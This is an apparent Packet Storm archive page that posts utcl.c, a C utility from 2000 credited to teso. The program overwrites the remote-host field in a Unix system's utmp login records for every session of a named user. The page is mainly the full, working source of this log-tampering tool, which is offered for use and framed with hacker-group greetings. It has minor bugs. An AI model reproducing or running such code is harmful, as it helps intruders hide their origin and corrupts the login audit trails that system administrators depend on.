exploit the possibilities

utcl.c

utcl.c
Posted Feb 11, 2000
Authored by teso

cloak users utmp host entry

MD5 | c6b5c92bd2fc0435fe56990907124052

utcl.c

Change Mirror Download
/*  HiHo,
this utility changes the host of a given username (all his logins affected)
usage is utcl <user> <host> where host is the desired host (only 20 chars)

this piec of software is mostly ripped from ute.c which i found on my hdd
and dont know where it came from.. many thanks to the author of this one..
thanks goes also out to xdr who gave me the idea of writing this (he wrote
such thingie, but then lost it @#$! ;)

have fun...
-hendy (flames to hendy@winterland.net)

greetings: (oh, this is lame, i know) to #!teso, #hax, #hack

// hope it's not too lame

*/

#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
// #define UTMP_FILE "/var/run/utmp" /* should have been defined in utmp.h */
#define MAX_ENT 100

int
main (int argc, char **argv)
{
int item;
struct utmp Entry[MAX_ENT + 1];
off_t position[MAX_ENT + 1];
FILE *fptr;

if (argc < 3)
{
printf ("usage: %s <user> <host>\n", argv[0]);
exit (1);
}

if ((fptr = fopen (UTMP_FILE, "r+")) != NULL)
{
int last, num, i = 1; /* get all utmp entries. */
while (fread (&Entry[i], sizeof (Entry[i]), 1, fptr) > 0)
{
if (strcmp (Entry[i].ut_line, "") != 0) /* skip empty entries */
{
position[i] = ftell (fptr) - (long) (sizeof (Entry[i]));
i++;
}
}
last = i - 1; /* keep a tab on how many entries there are. */
position[i] = ftell (fptr); /* keep track of EOF */

for (item = 1; item <= last; item++)
{

if (!(strcmp (Entry[item].ut_name, argv[1])))
{
strcpy (Entry[item].ut_host, argv[2]); /* insert new host */
fseek (fptr, position[item], SEEK_SET); /* seek position in utmp */
fwrite (&Entry[item], sizeof (Entry[num]), 1, fptr); /* write to file */

}
}


fclose (fptr);
}
else
{
printf ("\nERROR: cannot open file %s \n", UTMP_FILE);
}
return (0);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close